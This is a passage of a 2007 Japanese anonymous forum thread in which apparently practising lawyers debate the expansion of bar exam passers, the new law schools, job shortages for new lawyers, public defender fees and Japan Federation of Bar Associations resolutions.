年間1500人くらいを継続すれば充分だと思う。


596 :無責任な名無しさん:2007/01/06(土) 03:45:44 ID:YFrVs5on
>>590
東京の弁護士が勝手に地方のことを空想して増員を提唱していた。
今頃になってアンケートをやって頭をかかえている。

>>591
被疑者国選,被告人国選ばかりやってくれる人が増えてくれるなら,地方でも受け入れられる。
つまり,法テラスのスタッフ弁護士が増えるのは,かまわない。
ただ,その連中の会費を免除したりする必要性がよくわからない。

597 :休憩中 ◆tr.t4dJfuU :2007/01/06(土) 04:23:02 ID:DpfisYfj
時給がどんどん安くなっていく悪寒

598 :無責任な名無しさん:2007/01/06(土) 04:33:02 ID:R4HITAGT
こんなことになるとは想像できなかったと今頃弁解するおっさん弁。
私はそれまで生きていないからとほざくおばちゃん弁。
自由競争、生存競争ですとしがみつく大学教授。
まとめてさっさと引退せえ。


599 :無責任な名無しさん:2007/01/06(土) 04:37:16 ID:M0yJZoBC
いやはや大変ですね
しかし,これも往々の日弁連執行部の選択であり,引いては諸先生方の選択の結果ですよw
その意味では呪うならご自分を呪うべきですねっww
一昨年の総選挙で非正規労働者が自分たちの首を絞めたのと同じですかねえwww

当職は地方県庁所在地で一人で独立している50期代前半ですが
一足先に弁護士稼業から足を洗います
町弁では先行真っ暗だと3年ぐらい前に気づき,それより投資で食えるように膨大な時間を割いてきました

18年度は,不動産収入7:株債権3の割合で,税引所得が2000万円を超えました
一方,事務所の総売上は2000万円を若干切ってます

法テラスもできることだし,これからは官製粗製濫造弁護士が町弁の仕事に対応していくのでしょうね
刑事弁護の先行きも真っ暗ですね






600 :599:2007/01/06(土) 04:40:55 ID:M0yJZoBC
ただし弁護士資格は保持します。馬鹿高い会費も払いますよ

理由
・身分証明及び外聞
・遠い日の理想の記念として


601 :無責任な名無しさん:2007/01/06(土) 09:25:20 ID:93gsAnr4
まあ,弁護士稼業が向いていない人は,早めに撤退した方が無難だな。

俺は根っからの裁判好きなので,最後まで残るつもりだが。

602 :無責任な名無しさん:2007/01/06(土) 10:01:54 ID:ZfaROk0b
A 先生なにかしてくれるんですよね?

B ・・・

A してくれるんですよね?

B ・・・

A してくれるんですよね?

B 何もしないというオプションを含めれば、何らかのアクションは必ず行いますよ。。

A ???

B では、この件はこれでww

603 :無責任な名無しさん:2007/01/06(土) 10:05:57 ID:lTOF0kmE
今年の就職は地方でも大変で、修習生には気の毒なことになっている。
大幅増員を推進した者は、合格しても就職があるとは限らないことを明確に伝えるべきだ。
需要が十分にあるというなら、就職がなかった者を自分の事務所で引き取ったらどうか。

604 :無責任な名無しさん:2007/01/06(土) 11:01:45 ID:DMDdn+3w
>>599
事務所の総売上は2000万円を若干切るって
事業所得は、7〜800万くらい?

605 :無責任な名無しさん:2007/01/06(土) 13:39:21 ID:3oF1NVnI
>>595
3000人になったら2000人ぐらいあぶれるだろう
増加による競争で、中堅弁護士層でイソ弁を採れる層が減少して行くと考えられるから
>>596
実際3000人にしたのは起訴前国選に備えるため
確かに需要は増加するがペイしない
まあ後輩たちが文句を言い始めても決めた連中は墓の中w


俺も前述の先生同様、今後は投資を主にするつもり
10〜20%のリターンならそんなに難しいことじゃないしね

606 :無責任な名無しさん:2007/01/06(土) 15:32:11 ID:MqSMLjEM
日本も懲罰的損害賠償認めるべきだな。
ペイさせるために。

607 :無責任な名無しさん:2007/01/06(土) 15:44:42 ID:2jHknh9o
このひどい状態は,弁護士以外の人にはどこまで知ってもらえてるのかな?

どの修習委員やってる弁護士の話でも「3000人と決まってしまった以上,仕方がない」と
あきらめ顔。みんなおかしいと思ってるのに「仕方がない」って・・・・。
現段階ですらもう臨界点に到達してる以上,一刻も早く3000人がおかしいことを
弁護士以外にも広く分かってもらった方がいい。

医療崩壊の話はポツポツとマスコミにも流れるようになったけど
この司法崩壊も,少しでも早い段階から広く国民に知っておいてもらうべきだろう

608 :無責任な名無しさん:2007/01/06(土) 16:01:17 ID:Jtr18qaj
今後弁護士になる人で勝ち組は大手ローファームのパートナーになれる人だけだろうな
どれぐらいいるのか知らないけど

609 :590:2007/01/06(土) 16:07:39 ID:Jcc0zvTC
種々貴重な意見有り難うございました。自分は、増員路線を決定したあの大荒れの日弁連総会で、中国地方の某県先生が地方は弁護士が足りないと熱弁を振るったので、迷って棄権して途中で帰って来てしまった(あれもタウンミーティング既定答弁に騙されたか)。
その後1000人時代になって、修習生時代の尊敬する先生が大都市隣県では新人が来るがその一回り周辺ではまだ人が来ないと嘆いていたので(5年位前?)、まだ地方では不足しているかと思って書き込んだ次第。
 

610 :無責任な名無しさん:2007/01/06(土) 16:21:04 ID:STayYRsk
左翼色の抜けたTKYM候補を立てて,若手みんなで投票するしかないだろ。
もう5年もすれば,50期以降だけで過半数は取れるようになる。

611 :無責任な名無しさん:2007/01/06(土) 16:24:10 ID:STayYRsk
>>609
その総会の当日,私は高田馬場の辰巳で答練を受けていた。
解説の先生が遅れてきて,「今日は総会だった。荒れていた。」と言っていた記憶がある。
それ以後弁護士登録した会員には何ら罪はない(「知ってて登録したんだろ」と言われれば確かにそうだが)。
今からでも遅くないから撤回の総会決議をしようじゃないか。

612 :無責任な名無しさん:2007/01/06(土) 16:37:38 ID:MqSMLjEM
撤回の総会決議なんて出来るのか?

それに日弁連で撤回の決議をしても
何も変わらない気がするが・・

613 :無責任な名無しさん:2007/01/06(土) 16:42:39 ID:AN3ycvM+
>>610に同意。
ただ、50期以降だとまだまだイソ弁で、
有無をいわさず勝手にボス弁に委任状を出されてしまうので、
うまく票を集められるかどうか。

614 :無責任な名無しさん:2007/01/06(土) 16:58:47 ID:28wIfDy2
>>609
ただ、就職難と弁護士過疎解消の間にはズレがあるよ。
ほんとうの弁護士過疎地域には就職先がない。
だから新人がイソ弁として入っていかないけど弁護士は足りていない。
そうかと言って新人がいきなり独立するのも大変だろう。
今後過払いがなくなれば経営がどうなるかわからない。

全国にゼロワンは確か40か所程度だったと思う。
それぞれ3〜5名も行けば充分だから大増員してもしょうがない。
医師過剰でも医療過疎が解消しないことも考える必要がある。
むしろこういうところに行く意志がある人の支援策強化が必要。

615 :無責任な名無しさん:2007/01/06(土) 17:01:00 ID:Wi9jf/R8
新年早々、暗い話題満載ですねw

たしかに、地方では被疑者弁護とか少額事件とか、ペイしない事件に
限っていえば、まだまだ弁護士の数は必要なんだろうけど、本当に
必要なのは財政的裏付けだよな。
まあ、司法崩壊の話がマスコミで話題になるのも、そう遠くないと
思うけどね。

地方弁としては、それまでに過払い請求や負債整理で稼げるだけ稼いで、
その間に今後のことを考えるしかないかな。

616 :無責任な名無しさん:2007/01/06(土) 17:14:06 ID:dcGUx2VP
過疎対策なんか法テラスに任せりゃいいんだよ
それなのにひまわり基金延長なんて馬鹿の集まりとしか言いようがないね


617 :609:2007/01/06(土) 17:25:49 ID:Jcc0zvTC
 大荒れ総会の前日、某○日新聞が社説で「人権の担い手を増員する決議をできなでどうする日弁連」といような記事を掲載してキャンペーンを張った。マスコミは偏向している。
 俺は総会当日、金持ちしか弁になれないロー制度(金持ちしか弁になってはいけないという○坊先生の路線)に反対票を投じようと思って出席した。
 また、異常な増員をすれば、人権の担い手どころか逆に、○暴=893や悪徳企業、オウムのような宗教団体の手先の弁が増えることを危惧していた。今は杞憂になることを願うのみだが。
 左翼○党も大宗教団体の下部組織○党も、人権の担い手増やせと言っているが、自分たちの手先になる弁が欲しいだけのことだと思っていた。
 

618 :無責任な名無しさん:2007/01/06(土) 17:31:13 ID:EPsK48Qc
これだけ会員に馬鹿にされてる業界団体もそうないだろうなw

619 :無責任な名無しさん:2007/01/06(土) 17:37:07 ID:RGXU8+Cl
童貞コピペを貼り付けてストレス解消しようと思ったが、それすらやる気がなくなった。
ま、地方の若手の皆さんを救うためには、国選を取り合ってもらう、と。
ヤメ判は、恩給出てるんだから、弁護士のじゃまするな、と。

実に卑しい職業になってるな。

620 :無責任な名無しさん:2007/01/06(土) 17:48:26 ID:IKOqh+qr
就職ない新人には国選を月2、3件配給すべし
これで就職なくても食っていける

621 :無責任な名無しさん:2007/01/06(土) 18:24:53 ID:STayYRsk
10年後には自宅弁護士だけで10000人くらいになると思われるので,(わ)号事件を全部それに分け与えても,月2〜3件は無理だ。
そもそも,月2〜3件の国選で食っていくためには,まずは国選報酬を最低でも今の倍以上に上げないと無理。

国選報酬が値上げされるまで国選弁護人を受けない総会決議をしろ。

622 :無責任な名無しさん:2007/01/06(土) 18:27:57 ID:xGeRcexK
月3件ありゃ会費差し引いても生活保護程度の生活はできるだろ

623 :無責任な名無しさん:2007/01/06(土) 18:29:32 ID:STayYRsk
法律新聞によれば,年間の国選弁護報酬予算は100億円程度(被疑者国選を含む)。
国選だけをする弁護士5000人に国選事件を全部任せても,1人あたりの報酬は年間で200万円。
ここから会費が50万円以上引かれることになるから,手取りは主婦のパート程度になる。
生活保護のほうがたくさんもらえる。

624 :無責任な名無しさん:2007/01/06(土) 18:30:47 ID:STayYRsk
それに加えて,修習中の貸与の返済をしなければならないのだが。

625 :無責任な名無しさん:2007/01/06(土) 18:51:36 ID:IY0B9jfS
おまえら弁護士会としてロー制度に賛成の決議したわけだろ。
ロー制度作っても得するのは久保利とかごく一部の弁護士。
ローの適正試験の志願者は当初予定の10万人の3分の1の2万人の惨状。
多くの優秀な若者がロー制度による受験資格制限で法曹をめざさなくなった。
レベル低下で法曹の権威も大失墜。

>>607のいうような「このひどい状態は,弁護士以外の人にはどこまで知ってもらえてるのかな? 」
おまえらそんな「自分生活のこと」いう前に先輩弁護士としてこんな状況にして法曹を目指さなくなった後輩に
謝るべきじゃあないのか?

おまえら弁護士の生活がどうなろうと、弁護士会としてロー賛成の決議出した以上、完全な自己責任なんだよ。

おまえら弁護士会は自分らが利用されてるだけっていう、その自覚さえもないだろ?


626 :無責任な名無しさん:2007/01/06(土) 19:01:09 ID:dcGUx2VP
こういう程度の低い職種だから目指す値打ちがないってよく分かったろう、坊や

627 :無責任な名無しさん:2007/01/06(土) 19:12:07 ID:/OmUNa3D
程度ひくいちおもいませんが

628 :無責任な名無しさん:2007/01/06(土) 19:16:43 ID:Jcc0zvTC
年金より高い会費かな
法テラスに登録してまでやる国選か
非弁はとっとお帰り下さい。受かってから来なさいな。


629 :無責任な名無しさん:2007/01/06(土) 19:26:41 ID:IY0B9jfS
ふむ

630 :無責任な名無しさん:2007/01/06(土) 19:34:30 ID:KwRUQwQ9
今後は程度の低い大量の新人が現れる訳か。
市民を騙して無理な訴訟を一杯起こしてくれたら、
普通に被告事件を受けるだけで飯が食える
と楽観的に予想しておこう。

631 :無責任な名無しさん:2007/01/06(土) 19:50:50 ID:YFrVs5on
>>625
弁護士会は強制加入団体です。
ロー&増員の決議がされたのは6年も前のことです。

632 :無責任な名無しさん:2007/01/06(土) 19:51:26 ID:hEB1Gwrg
今でさえ大量のあほ弁護士があるので、むしろ人数増えた方が競争原理がはたらくのでいいよ。
笑っちゃうほどアホばっか。弁護士って。司法試験通った以降、批判にさらされる機会がないので
社会性身につける前に成長止まってしまうんだよね。

633 :無責任な名無しさん:2007/01/06(土) 20:20:11 ID:YFrVs5on
平成12年総会決議(当時の会長:久保井一匡)
http://www.nichibenren.or.jp/ja/opinion/ga_res/2000_4.html

日弁連の平成12年決議では,法曹人口は5万人程度が適正と考えられている。
しかし,前提として,隣接士業の職域拡大に反対していくので,職域を満たすだけの人数が必要だという考えに立っている。
ところが,それ以降,司法書士の簡裁代理権に始まり,社労士・弁理士への代理権付与が検討され,隣接士業による仲裁機関が多数できるなど,職域は侵され続けている。
公証業務などの目指されていた職域拡大は全く進展していない。

すなわち,平成12年決議は前提を欠くに至っているので,ここに至っては撤回の決議をするべきである。

ちなみに,年間3000人の司法試験合格者を出し,内2500人が弁護士になるとして,弁護士の実働期間を平均35年とすると,弁護士人数は8万7500人に収束する。
そもそも決議の提案理由の中に齟齬がある。

なお,平成6年の総会決議は,司法試験合格者人数を増やしすぎないように求める内容となっている(当時の会長:土屋公献)。
http://www.nichibenren.or.jp/ja/opinion/ga_res/1994_5.html


634 :無責任な名無しさん:2007/01/06(土) 20:20:58 ID:IY0B9jfS
はあ。

635 :無責任な名無しさん:2007/01/06(土) 20:30:31 ID:YFrVs5on
今からでも遅くないから,

(1)司法試験合格人数は年1500人程度
(2)裁判官・検察官の増員
(3)隣接士業への職域開放には断固反対
(4)隣接士業の非弁行為の厳重な取り締まり

日弁はこれだけ提唱してればいい。


636 :無責任な名無しさん:2007/01/06(土) 20:32:59 ID:MqSMLjEM
>>632
司法試験に通ってない人は
スレ違いなのでお引取りを^^

637 :無責任な名無しさん:2007/01/06(土) 20:40:15 ID:hEB1Gwrg
>>636
通っているからこそ弁護士のあほさがわかるんじゃないか。


638 :休憩中 ◆tr.t4dJfuU :2007/01/06(土) 20:45:37 ID:DpfisYfj
制度改革ができるかは疑問だけれども仮にできた場合,
新司の弁護士をどうするかだ。

司法研修所が大量虐殺(以下ry

639 :無責任な名無しさん:2007/01/06(土) 21:03:42 ID:MqSMLjEM
合格者を増やさない改革なんて出来るかね?

出来たらいいんだけどさ。

60期でさえ、新旧あわせて2500人。
61期も2500人ちょっとだろう。

2500人で留めてもあんまり意味ないよな。3000人にするよりはいいが。

どうにか1000〜1500人で留められないかな。

640 :無責任な名無しさん:2007/01/06(土) 21:04:05 ID:IY0B9jfS
弁護士会がロー賛成の決議をして6000人もローに入れておきながら
自分らの都合で合格者数を1500人でとめろなんて勝手すぎ・・。
ロー生はどうなってもいいのか?
いま文部科学省・ローが合格者9000人を主張してるが、妥当だと思う。
http://ja.wikipedia.org/wiki/%E6%B3%95%E7%A7%91%E5%A4%A7%E5%AD%A6%E9%99%A2
6000人のロー生がそれなりの時間・金をかけてローにこさされた以上、
ほぼ全員を法曹にしてやるのが筋だと思うし、一方でローにいけない人の
ために3000人くらいは枠をのこす必要があるからだ。





641 :無責任な名無しさん:2007/01/06(土) 21:10:32 ID:dcGUx2VP
ペーパードライバーが増えそうだなw

642 :無責任な名無しさん:2007/01/06(土) 21:10:54 ID:LAe1dq7w
>>640
それだけの人数だと,質の確保が困難なんだって。
一部のロー卒のあまりのレベルに低さに,現場は皆驚いている。
ロー生の幻想を実現するために,一般市民の利益を犠牲にしろってか。
甘えるのもいい加減にしろ。

643 :無責任な名無しさん:2007/01/06(土) 21:13:46 ID:VKDCVFt2
ずっとこの話題だね。

みんな、ぶっちゃけ路線変更される可能性はあると思ってる?


644 :無責任な名無しさん:2007/01/06(土) 21:15:49 ID:dcGUx2VP
ないね
タイタニックだ
千人になって以降の弁護士はほとんど今後食えないんじゃないか?

645 :無責任な名無しさん:2007/01/06(土) 21:16:43 ID:p2iq6SPi
懲戒される・破産するBも増えるだろうね。

646 :休憩中 ◆tr.t4dJfuU :2007/01/06(土) 21:23:45 ID:DpfisYfj
裁判員制度が実施されてトンでもない改革だったとマスゴミに叩かれだせば路線変更せざるえない
と思うが(外圧期待)。
そこそこの質を確保するならローよりも裁判所の職員を選抜して資格やったほうがマッシだろう?
抜け殻になった裁判所はトンデモになると・・・

隣接士業や非弁の過誤をきちんと指摘&対応していくのは大切だと思うが

647 :無責任な名無しさん:2007/01/06(土) 21:36:06 ID:KfdypzX5
>>640
>6000人のロー生がそれなりの時間・金をかけてローにこさされた以上、
選んできたのは自分たちだろうに。
人のせいにするのはいい加減止めなさい。
これまでも多くの人が自ら司法試験を止めていったんだ。
それとかわらないって。

648 :無責任な名無しさん:2007/01/06(土) 21:56:59 ID:2jHknh9o
たとえすぐに増員案を撤回できなくても,現状として,修習生になっても
就職できないことを広く周知徹底しておくことは,将来の責任追及のためにも意味があるよ。

たとえば
「ロースクールとは,法曹養成をもっぱらその目的とする機関である。
 被告ロースクールは,平成19年○月の段階で,
(1)司法試験に合格し司法研修所を卒業しても,既存の法律事務所に雇用されない者や
 自宅で開業するも事件依頼がまったくない者が○パーセントを超えること,
(2)今後,司法試験合格者がますます増大し,上記同様の者のパーセンテージが
 確実に増大することを認識していた。
 そうであるのに,被告ロースクールは,なんら上記説明を行わず,
被告ロースクールのネームバリュー,入学時学力等からすれば,
同校出身の修習生の○割かは,司法試験に合格しても法曹として生きていくことが
不可能であることを認識しつつ,かえって司法試験に合格すれば法曹として生計を
立てていくことが可能である如く宣伝を行い,入学生を募集した。
原告らは,被告ロースクールの宣伝を信じ,被告ロースクール入学し勉学にいそしみ,
司法試験に合格し司法研修所を卒業したが,
法律事務所から雇用もされず,自宅開業をするも事件もなく生計の糧を失っている」
って説明義務違反くらい問えない?
過失相殺8割程度適用で。 笑い

しかし>>633の日弁連の平成12年宣言読んだけど,ひどいね・・・これは

649 :無責任な名無しさん:2007/01/06(土) 21:57:14 ID:dcGUx2VP
ハイリスクローリターンw

650 :無責任な名無しさん:2007/01/06(土) 21:58:59 ID:dcGUx2VP
窪井ってナカボーの子分だからな

651 :無責任な名無しさん:2007/01/06(土) 22:06:23 ID:MqSMLjEM
>>640
増員主張する奴ってマジでこんなこと言ってるんだよな。

ローにこさされた(しかし「こさされた」って・・)から
資格よこすのが筋、ってw



652 :無責任な名無しさん:2007/01/06(土) 22:08:00 ID:jsnYi1lm
というか、本当に就職できない弁護士があふれれば
自然にロースクールに来る奴、ひいては新司法試験を受ける奴自体が減るだろ。
ローにかける費用や時間に見合ったリターンがないわけだから。

日弁連として今さら過去の立場を変えて増員反対を正面きって言えないというのなら
単に

 「増員は特に良いとも悪いともいいませんが、増員した結果、これだけ
 食えな弁護士が増えました」

ってことを大々的に宣伝すればいいだけ。
ネガティブキャンペーンだよ。

ローに来たがる人間の意欲に水をさせばいいだろう。


653 :無責任な名無しさん:2007/01/06(土) 22:09:39 ID:MqSMLjEM
>>652
ローに行く人間が減っても
合格者が変わらなければ倍率が下がるだけで意味は無いんだが・・



654 :無責任な名無しさん:2007/01/06(土) 22:15:06 ID:jsnYi1lm
>>653
一部の上位ローを除き、馬鹿が大量に受かるようになるだろうな。

でも、馬鹿ばかりが受かるなら、脅威にはならん。
むしろ問題視されて、合格者削減の機運につながるだろ。

655 :無責任な名無しさん:2007/01/06(土) 22:17:26 ID:TC9qe2Ie
>>647
そうそう。
これまでの旧試験時代だって,年間10000人ずつくらいは,司法試験を諦める人が毎年発生していた。


656 :無責任な名無しさん:2007/01/06(土) 22:20:34 ID:TC9qe2Ie
>>648
事実,三振したロー卒業生が,私立のロースクールを相手に訴訟をやったら勝てるんじゃないかと言われている。
断定的判断の提供があったとして,消費者契約法で。

657 :無責任な名無しさん:2007/01/06(土) 22:20:41 ID:KfdypzX5
歯科医は削減の気運が高まっているんだろ?
同じようになればいいがなぁ。

658 :無責任な名無しさん:2007/01/06(土) 22:23:03 ID:TC9qe2Ie
ここで匿名でダベってるだけじゃなくて,ちゃんと弁連大会なんかで決議案として出そうぜ。
とりあえず,このスレをプリントアウトして,弁護士業務総合推進センターに送ってあげろ。

659 :無責任な名無しさん:2007/01/06(土) 22:26:13 ID:KfdypzX5
>>656
誰が言ってるのか教えていただきたい。
断定的判断の提供というが、具体的にはどれが該当するのか。
だれも絶対になれますなんて言っていないと思うのは、自分だけであろうか?

660 :無責任な名無しさん:2007/01/06(土) 22:27:55 ID:TC9qe2Ie
適合性原則違反というのも考えられるなあ。

661 :無責任な名無しさん:2007/01/06(土) 22:29:02 ID:TC9qe2Ie
>>659
冗談ですってば。

662 :無責任な名無しさん:2007/01/06(土) 22:34:12 ID:Jcc0zvTC
>>653
一部上位ロー卒業生でないと、任官と大手ローファームへの就職は無理なんだろうな。
一般ピープルは上位ローに受験して落ちたら諦めた方がいいのではあるまいか。
でも馬鹿弁量産する下位ローでも需要はあるのでは?跡継ぎ欲しいブル弁の師弟とか・・・。
繁盛している弁護士でなくても、
俺がはやっている税理士か司法書士でかつ親馬鹿なら、馬鹿息子をローに行かせるね。
税理士試験や司法書士試験に受験させるより、試験簡単でそういう需要もあるのではあるまいか。
弁の大量増員によく税理士会が反対しなかったか不思議で


663 :無責任な名無しさん:2007/01/06(土) 22:35:55 ID:jsnYi1lm
ただ、どんどん増える新司法試験合格者自身が、
いったん合格してしまうと、こんどは弁護士増員を好まない勢力に
転換するからな。

664 :無責任な名無しさん:2007/01/06(土) 22:41:00 ID:Jcc0zvTC
↑50期以降が過半数を占めれば増員路線を撤回決議できるなんて書き込みもあったが、増員の恩恵で弁になれた連中が合格者減を主張すれば、マスコミから既得権益にしがみついていると袋だ滝にされるのでは

665 :無責任な名無しさん:2007/01/06(土) 22:41:08 ID:TC9qe2Ie
>>662
税理士会は,弁護士に税理士資格を自動的に与えないようにしろと政治運動をしている。

>>663
食うに困った若手が多数になれば,>>610

666 :無責任な名無しさん:2007/01/06(土) 22:42:06 ID:TC9qe2Ie
>>664
今言ったって同じ。
国選報酬増額要求と同じ。
弁護士はマスコミ受けなど最初から考えてはいけない。

667 :無責任な名無しさん:2007/01/06(土) 22:42:22 ID:KfdypzX5
かくして日本の司法は死んだのであった。

668 :無責任な名無しさん:2007/01/06(土) 22:46:45 ID:hLx5XIGM
もう、とっくに死に体でしょ。

669 :664:2007/01/06(土) 23:01:29 ID:Jcc0zvTC
>>666
仰せのとおりでございます。
先程の発言に大変な失礼と誤りがあったので訂正します。優秀な若手合格者が増員に反対したら「増員の恩恵で弁護士になれたくせに、増員反対とは既得権益に云々」とマスコミから袋田の滝にされるのではあるまいか、が言いたかったこと。
666の言うとおりマスコミなど気にしてはいけない。


。。



670 :無責任な名無しさん:2007/01/06(土) 23:05:54 ID:ZVOi6jb5
今年、ローへの出願者はもっと減りますよ。
死への会談を確実に下っていると思います。

671 :無責任な名無しさん:2007/01/06(土) 23:12:25 ID:LwueBG9c
そのうえ、優秀な層が法曹界を志望しなくなるから
レベル低下は急激に進むだろう。

672 :無責任な名無しさん:2007/01/07(日) 00:09:28 ID:vN/9J5Op
旧制度なら社会情勢によって合格者数を減らすことも可能だったかもしれないけど
合格者増員はロースクール制度とリンクしているでしょう。
とすると合格者を減らすことはロースクールの死活問題になるので困難ではないかと。
大学の先生は3000人はあくまで最低ラインであって将来的にはもっと増やすべきだと
言ってる人も多いし。

だいだいロースクールって少子化時代の大学の生き残り策でしょ。大学側と省益を拡大
したい文科省と増員によるコスト削減をもくろむ財界の利害が一致してできた。
学者が自分たちの食い扶持を確保するためにできたものだから利権がからんでるからねえ。
合格者数増員論については大学側と弁護士は利害関係が完全に対立するわけだ。
私の知っているあるロースクールの教授も司法試験の合格者数は3000人でも少なすぎる
とさんざん言ってますよ。

673 :無責任な名無しさん:2007/01/07(日) 00:09:37 ID:TrXEeqxk
>>664
弁護士なんて何したってマスコミに叩かれるだろw

674 :無責任な名無しさん:2007/01/07(日) 00:12:55 ID:PxwtJ6iB
ほんとにこれからボランティア的な仕事なんか受けられないね。
自分が食えないのに人を助けてる場合じゃないし。
増員したら競争原理が働いていいとかマスコミで言ってるけど、
そうなったら手助けすべきだけどペイしない事件がどんどん切られるって
何で分かんないのかなー。

675 :無責任な名無しさん:2007/01/07(日) 00:15:56 ID:NNvHLAU2
>>672
だから,ロースクールをまず殺せばいい。

私の知っているあるロースクール教官(研究者)は,法学研究者がみんなロースクール間の競争に巻き込まれて予備校講師化していて,研究はできないわ学生にはバカにされるわで,本音では早く潰れてほしいと思っていると言っていた。
ロースクール教官としては,いっそロースクールの数を絞ってもらうか,合格者数を増やしてもらうしか,生き残る道がない。

676 :無責任な名無しさん:2007/01/07(日) 00:17:34 ID:NNvHLAU2
もともと某党が元凶なんだよ。
某大学にロースクールの認可を出すことになったばっかりに,それに類する泡沫大学にも認可を出さざるをえなくなった。

なんで誰もこれを指摘しない?

677 :休憩中 ◆tr.t4dJfuU :2007/01/07(日) 00:26:48 ID:64wa+vwc
ローを残してロー卒は旧試験の択一を免除とかにすればいいのにな。

678 :無責任な名無しさん:2007/01/07(日) 00:48:48 ID:qteW/1IN
弁護士なんだから理屈で勝負すべきだろ。
ローがなぜできたか、
それは法曹(実質は弁護士)増員してもレベルを落とさないということが大儀明文。
ということは、ロー卒のレベルが低ければ、ロー制度は失敗。
増員反対弁護士は、決してローに協力しない、あるいは、協力するふりして滅茶苦茶な教育すること。


679 :無責任な名無しさん:2007/01/07(日) 00:53:22 ID:NNvHLAU2
>>678
>弁護士なんだから理屈で勝負すべきだろ。

いや,理屈と実力行使の両刀使いが本分ですよw

無理してイソ弁を雇わない,国選を押しつける,会務を押しつける,などの方法で,ロー卒の新人を困窮させるのも一手。

680 :無責任な名無しさん:2007/01/07(日) 00:58:47 ID:DM60EJQC
ぶっちゃけ,人数が何人増えたっていいよ。
市場原理の中で競争しろっていうなら,やったって構わない。
ただ,質の低下だけは避けて欲しい。
仕事がやりにくくなって仕方がないから。
ろくな教育のできてないローはさっさと撤退しろ。

少なくともエクスターンに出す前に,最低限のことは教えておけっての。
はっきり言って仕事の邪魔。営業妨害。


681 :無責任な名無しさん:2007/01/07(日) 01:01:11 ID:vN/9J5Op
真面目な話将来のこと考えると安易にリスキーな事はせずいつ弁護士業が駄目になっても
困らないように人生設計を考えた方がいいかもしれないね。今のうちにコガネを貯めといて。
そう考えると今下手にイソ弁を採用して業務拡大を図るのはリスクが大きいかも。イソ弁を
採用したばかりに利益が減った事務所も少なくないようだし。
イソ弁採用も一つのボランティアだと考えていたがこれからはそんな事も言ってられなさそうだ。

682 :無責任な名無しさん:2007/01/07(日) 01:02:06 ID:TrXEeqxk
>>680

> 少なくともエクスターンに出す前に,最低限のことは教えておけっての。
> はっきり言って仕事の邪魔。営業妨害。

何をやらかされたんだ?

ってかエクスターンなんて受け付けなきゃいいのでは・・
大手なのかな?

683 :無責任な名無しさん:2007/01/07(日) 01:03:59 ID:ASclJ90r
>合格者数を増やしてもらうしか,生き残る道がない
合格者を増やすと無職法曹資格者が増大するだけ。
わざわざ大枚はたいてローへ行く奴が減って,それこそロー崩壊。

684 :無責任な名無しさん:2007/01/07(日) 01:20:44 ID:DM60EJQC
>>682
全然大手じゃない。
うちなんかに来なきゃいけないロー生もかわいそう。双方にとって不幸。
受け入れたくはないが,会の偉い人からどうしてもと頼まれて断れずに。
どういうレベルの人たちか分かったので,もう二度と引き受けないと思う。

685 :無責任な名無しさん:2007/01/07(日) 01:22:29 ID:TrXEeqxk
>>684
どこのローだ?w

そんなに使えなかったのかね。

686 :無責任な名無しさん:2007/01/07(日) 01:25:42 ID:W/UWYUaY
>>681
一昔前はイソ弁たくさん雇うのがブル弁の道だったけど、
今後はヘタに手広くやると失敗するかもしれないね。
弁護士5人や10人の事務所なんて吹けば飛ぶようなものだし、
客は安い方に流れちゃう。

687 :大阪「座談会 修習生の就職問題について」1/3:2007/01/07(日) 02:00:24 ID:t9P4rVUh
・平成18年3月,大阪で就職希望の59期生の内,約40名が就職先
なし。現在も4名が弁護士登録すらできていない。修習委員会が就職
の世話をするのも限界で,今後は就職の世話,斡旋はできない。

・ 採用事務所は,今までは合格者500人程度で質が確保でき
ていたが,今後はロースクールの成績表を要求するほかない。

・ローによる質の低下は,研修所の弁護教官の座談会でも「ゴル
フに例えると,こっちがホールやからと言ってもそっちを向いて
くれない」状態。

・平成12年の日弁連決議のときからこのような状態になるのは
当然分かり切っていたこと。このまま進まざるを得ない。それで
弁護士の質が落ちて国民の不利益になれば,そのときに考える。

688 :大阪「座談会 修習生の就職問題について」2/3:2007/01/07(日) 02:01:03 ID:t9P4rVUh
・日弁連の「1人事務所の採用アンケート」では,回答の7〜8
割が「採用して良かった」との結論。しかし,1人事務所の総数
8092の内,このアンケート回答数は135事務所だけ。その回答で
さえ「客の信用をなくした」,「売上が減った」,「精神的負担
が増えた」,「指導に時間がかかる」等デメリットの意見あり。

・ 低い給料なら採用してもOKとの事務所は多い。今後は,
司法書士資格を持っていても法律事務所の事務員をやってる者が
いるように,弁護士資格があっても,事務員をする者が増えるだろう。

・ロースクールごとの就職率も今後問題になるだろうが,ノキ弁
で就職率を上げるロースクールも出てくるだろう。
「ノキ弁って,事務所側にはなんのメリットがあるの」
「単なる個人的な関係で場所を貸してやると言わざるを得なかっ
 たんじゃないかというような推測をしていますが」
「頼まれたからと」
「そうそう」

689 :大阪「座談会 修習生の就職問題について」3/3:2007/01/07(日) 02:01:36 ID:t9P4rVUh
・ 日弁連アンケートでは,年俸463万円(大規模会平均)なら
採用可の事務所が多い。つまり弁護士会費,通勤費(60万円以上)
を差し引いたら年収300万円台。

・企業も司法試験に合格しただけの人間を採っても有り難みがな
い。日経特集記事では「経団連に『就職先のない修習生を企業が
採用してくれ』と言ったら『できの悪いのを採用しなきゃいけな
いんですか』と言われた」とのこと。

・二割司法,国民の司法へのニーズを広げるという目的で始めら
れたのだろうが,修習終わったばかりの一兵卒に,このような事
件を掘り起こさせるのは無理。

・(明るい話題でしめくくくりたい,との司会を受けて)
「経済的には大阪より名古屋が上回っているから,大阪の高級弁
 護テクニックを利用して,ぜひ名古屋の事件も取りに行きまし
 ょう。名古屋まで1時間しかかかれへんから」
「名古屋は難しい地域ですよね」
「あれ,ぜんぜん明るくなれへんかった?」
「いや,なりました」

690 :無責任な名無しさん:2007/01/07(日) 02:22:28 ID:vN/9J5Op
>>687
当方大阪ですがこの座談会はどこに載ってたものですか?いや、まだ冬休み中なもんで。

691 :休憩中 ◆tr.t4dJfuU :2007/01/07(日) 02:48:30 ID:64wa+vwc
名古屋は確かに事件の質からいえば独特の風土ですな。


692 :無責任な名無しさん:2007/01/07(日) 02:58:14 ID:t9P4rVUh
>>690
HK会の会派誌です

693 :無責任な名無しさん:2007/01/07(日) 03:09:23 ID:ZVrTjkVF
私としては、現在の弁護士資格は事務弁護士資格に格下げして、新たに法廷弁護士資格を設けるしかないと思っている。

694 :無責任な名無しさん:2007/01/07(日) 10:38:37 ID:W/UWYUaY
あぶれた千人は会長のところで軒弁すればいいんだよ
日弁連も奨励していることだしねw

